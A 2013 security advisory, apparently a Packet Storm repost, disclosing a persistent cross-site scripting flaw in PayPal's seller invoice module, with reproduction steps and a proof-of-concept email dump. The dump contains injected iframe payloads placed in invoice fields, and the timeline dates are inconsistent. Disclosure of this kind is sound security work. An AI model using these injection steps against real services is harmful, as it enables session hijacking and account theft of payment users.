PayPal Sellers CMS Cross Site Scripting

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Title:

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Paypal Bug Bounty #6 - Persistent Web Vulnerability

Date:

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2013-03-27

References:

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http://www.vulnerability-lab.com/get_content.php?id=645

PayPal Security UID: ydh14ayfu

VL-ID:

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645

Common Vulnerability Scoring System:

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3.5

Introduction:

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PayPal is a global e-commerce business allowing payments and money transfers to be made through the Internet. Online money

transfers serve as electronic alternatives to paying with traditional paper methods, such as checks and money orders. Originally,

a PayPal account could be funded with an electronic debit from a bank account or by a credit card at the payer s choice. But some

time in 2010 or early 2011, PayPal began to require a verified bank account after the account holder exceeded a predetermined

spending limit. After that point, PayPal will attempt to take funds for a purchase from funding sources according to a specified

funding hierarchy. If you set one of the funding sources as Primary, it will default to that, within that level of the hierarchy

(for example, if your credit card ending in 4567 is set as the Primary over 1234, it will still attempt to pay money out of your

PayPal balance, before it attempts to charge your credit card). The funding hierarchy is a balance in the PayPal account; a

PayPal credit account, PayPal Extras, PayPal SmartConnect, PayPal Extras Master Card or Bill Me Later (if selected as primary

funding source) (It can bypass the Balance); a verified bank account; other funding sources, such as non-PayPal credit cards.

The recipient of a PayPal transfer can either request a check from PayPal, establish their own PayPal deposit account or request

a transfer to their bank account.

PayPal is an acquirer, performing payment processing for online vendors, auction sites, and other commercial users, for which it

charges a fee. It may also charge a fee for receiving money, proportional to the amount received. The fees depend on the currency

used, the payment option used, the country of the sender, the country of the recipient, the amount sent and the recipient s account

type. In addition, eBay purchases made by credit card through PayPal may incur extra fees if the buyer and seller use different currencies.

On October 3, 2002, PayPal became a wholly owned subsidiary of eBay. Its corporate headquarters are in San Jose, California, United

States at eBay s North First Street satellite office campus. The company also has significant operations in Omaha, Nebraska, Scottsdale,

Arizona, and Austin, Texas, in the United States, Chennai, Dublin, Kleinmachnow (near Berlin) and Tel Aviv. As of July 2007, across

Europe, PayPal also operates as a Luxembourg-based bank.

On March 17, 2010, PayPal entered into an agreement with China UnionPay (CUP), China s bankcard association, to allow Chinese consumers

to use PayPal to shop online.PayPal is planning to expand its workforce in Asia to 2,000 by the end of the year 2010.

Between December 4ñ9, 2010, PayPal services were attacked in a series of denial-of-service attacks organized by Anonymous in retaliation

for PayPal s decision to freeze the account of WikiLeaks citing terms of use violations over the publication of leaked US diplomatic cables.

(Copy of the Homepage: www.paypal.com) [http://en.wikipedia.org/wiki/PayPal]

Abstract:

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The Vulnerability Laboratory Research Team discovered a Web Vulnerability in the official Paypal plaze ecommerce website application.

Report-Timeline:

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2012-07-01: Researcher Notification & Coordination

2012-07-02: Vendor Notification

2012-08-13: Vendor Response/Feedback

2012-03-26: Vendor Fix/Patch

2012-03-27: Public Disclosure

Status:

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Published

Affected Products:

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PayPal Inc

Product: Core Application 2012 Q4

Exploitation-Technique:

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Remote

Severity:

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Medium

Details:

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A persistent input validation vulnerability is detected in the official Paypal ecommerce website content management system for sellers.

The bug allows remote attackers to implement/inject own malicious script code on the application side (persistent) of the paypal web service.

The persistent vulnerability is located in the Seller Invoice module with the bound vulnerable sent an invoice, your invoice, subject,

sent to & invoice number parameters. The vulnerability can be exploited by remote attackers with low required user inter action and

privileged seller account. Successful exploitation of the vulnerability can lead to session hijacking (admin), account steal via

persistent web attack or stable (persistent) context manipulation.

Vulnerable Section(s):

[+] Seller

Vulnerable Module(s):

[+] Invoice - Listing

Vulnerable Parameter(s):

[+] sent an invoice

[+] your invoice

[+] subject

[+] sent to

[+] invoice number field

Proof of Concept:

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The vulnerability can be exploited by remote attackers with Business (Seller) Account & low required user inter action.

For demonstration or reproduce ...

1. To reproduce the vulnerability, the remote attacker (seller) creates an invoice by going to [Request Money] -> Create invoice

2. He injects in the input fields of sent an invoice, your invoice, subject, sent to & invoice number field own malicious script code like js or html

3. In Send to field, the attacker can choose the mails of users on paypal to send them directly the malicous invoice

4. When the user checks his inbox the malicious script code (html/js) gets executed [persistent] out of the listing web context

Review:

<tr>
<td>Subject:  </td><td> You sent an invoice (``>``<iframe src=``devscr-Dateien/a.x`` to<=`` td=``>
</tr>
</table>  
<div id=``email_body`` style=``height:300px``>
<textarea style=``border:0; width:98%; height:300px; overflow:visible`` readonly=``readonly``>   

----NextPart_048F8BC8A2197DE2036A
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=windows-1252

----------------------------------------------------------------------
You sent an invoice
----------------------------------------------------------------------
Hello =22>=22<iframe src=3Dhttp://www.vuln-lab.com></iframe>,

Your invoice (=22>=22<iframe src=``devscr-Dateien/www.htm`` was=`` just=`` sent=`` to=``">"<
iframe`` ==`` please=`` note=`` that=`` it=`` may=`` take=`` a=`` few=`` moments=`` for=`` this=`` 
transaction=`` 
appear=``in`` your=`` account.=`` see=`` invoice:=``https://www.sandbox.paypal.com/us/cgi-bin/?cmd=3D_inv-details
&id=3DINV2-6G2=`` h-qwaa-ajup-rhnv=`` -------------------------------------------------------------
---------=`` ">"<iframe=``src=3Dhttp://www.vuln-lab.com></iframe>=22``>=22<iframe =
src=3Dhttp://www.vuln-lab.com></iframe>
=22>=22<iframe src=``devscr-Dateien/www_003.htm``></iframe>

----------------------------------------------------------------------
Summary of your invoice
----------------------------------------------------------------------
Sent to: ``>``<iframe =
src=3Dhttp://www.vuln-lab.com></iframe>
test=40test.com
Sent from: =22>=22<iframe src=``devscr-Dateien/www_003.htm``></iframe>
the_st_1341106590_biz=40mail.com
Invoice number: =22>=22<iframe src=``devscr-Dateien/www_004.htm`` date=`` payment=`` is=`` due:=`` jun=`` 30,=`` 2012=
`` amount:=``244.00`` usd=`` see=`` the=`` invoice=`` as=`` your=`` recipient=`` sees=`` it=`` :=``
https://www.sandbox.paypal.com/us/cgi-bin/?cmd=3D_pay-inv&id=3DINV2-6G2H-QW=`` aa-ajup-rhnv=``20`
` ----------------------------------------------------------------------=`` help=`` center:=``20`` https:=`` www.sandbox.paypal.com=``
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`` just=`` confuse=`` computer=`` that=``sent`` and=`` you=`` won't=`` get=`` a=`` response.=``
`` copyright=``A9`` paypal,=`` inc.=`` all=`` rights=`` reserved.=`` paypal=`` located=`` at=``2211`` n.=``
`` first=`` st.,=`` san=`` jose,=`` ca=`` 95131.=``20`` email=`` id=`` pp1558=`` ----nextpart_048f8bc8a2197de2036a=``
`` content-transfer-encoding:=`` quoted-printable=`` content-type:=`` text=`` html;=`` charset=``windows-1252`` <html=``><head
 title=3D=22PayPal=22/><body><div 
class=3D=22ppmail=22><style =
type=3D=22text/css=22>=23emailWrapperTable h1, =23emailWrapperTable 
h2 =
=7Bfont-family:Verdana,Arial;margin-bottom:2px; font-size:15px;=7D
=23emailWrapperTable h3 =7Bfont-size:13px;=7D
=23emailWrapperTable h4 =7Bfont-size:11px;=7D
a =7Bcolor:=23084482; text-decoration:underline;=7D
hr =7Bdisplay: none;=7D
=2Esmall =7Bfont-size:10px;=7D
=2Eppid =7Bcolor:=23757575;=7D
p =7Bmargin:11px 0; padding:0;=7D
</style>
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=7Bfont-size:11px =
=21important;=7D</style><=21=5Bendif=5D-->


<table border=3D=220=22 cellpadding=3D=220=22 cellspacing=3D=220=22 =
id=3D=22emailWrapperTable=22 style=3D=22font:11px Verdana, Arial, =
Helvetica, sans-serif;color:=23333;=22 width=3D=22580=22><tr =
valign=3D=22top=22><td colspan=3D=223=22><table 
border=3D=220=22 =
cellpadding=3D=220=22 cellspacing=3D=220=22 width=3D=22100%=22 =
style=3D=22margin-bottom:10px;=22><tr 
valign=3D=22bottom=22><td =
align=3D=22left=22 width=3D=22253=22><span> 
</span></td><td =
align=3D=22right=22 style=3D=22padding:0 4px 4px 0;=22><span =
style=3D=22font:12px arial;font-style: italic;color: 
=23757575;=22>Powered =
by</span></td><td align=3D=22left=22 width=3D=2289=22 =
style=3D=22padding-right:13px;=22><img align=3D=22center=22 =
height=3D=2220=22 =
src=3D=22http://www.sandbox.paypal.com/en_US/i/logo/logo_paypal_76w_20h.gif=
=22
 border=3D=220=22 =
alt=3D=22PayPal=22/></td></tr><tr><td/>
</tr></table></td></tr><tr><td
 =
colspan=3D=223=22><img height=3D=2213=22 =
src=3D=22http://www.sandbox.paypal.com/en_US/i/scr/scr_emailTopCorners_580w=
x13h.gif=22
 border=3D=220=22 style=3D=22vertical-align:bottom=22 =
alt=3D=22=22/></td></tr><tr><td width=3D=2212=22
 =
style=3D=22background:url(/i/scr/scr_emailLeftBorder_13wx1h.gif) left =
repeat-y;border-left: 1px solid =23ddd;=22><i    

Risk:

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The security risk of the persistent script code inject web vulnerability is estimated as medium(+).

Credits:

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Vulnerability Laboratory [Research Team] - Ibrahim M. El-Sayed [the_storm] (storm@vulnerability-lab.com)

Sursa: PayPal Sellers CMS Cross Site Scripting ? Packet Storm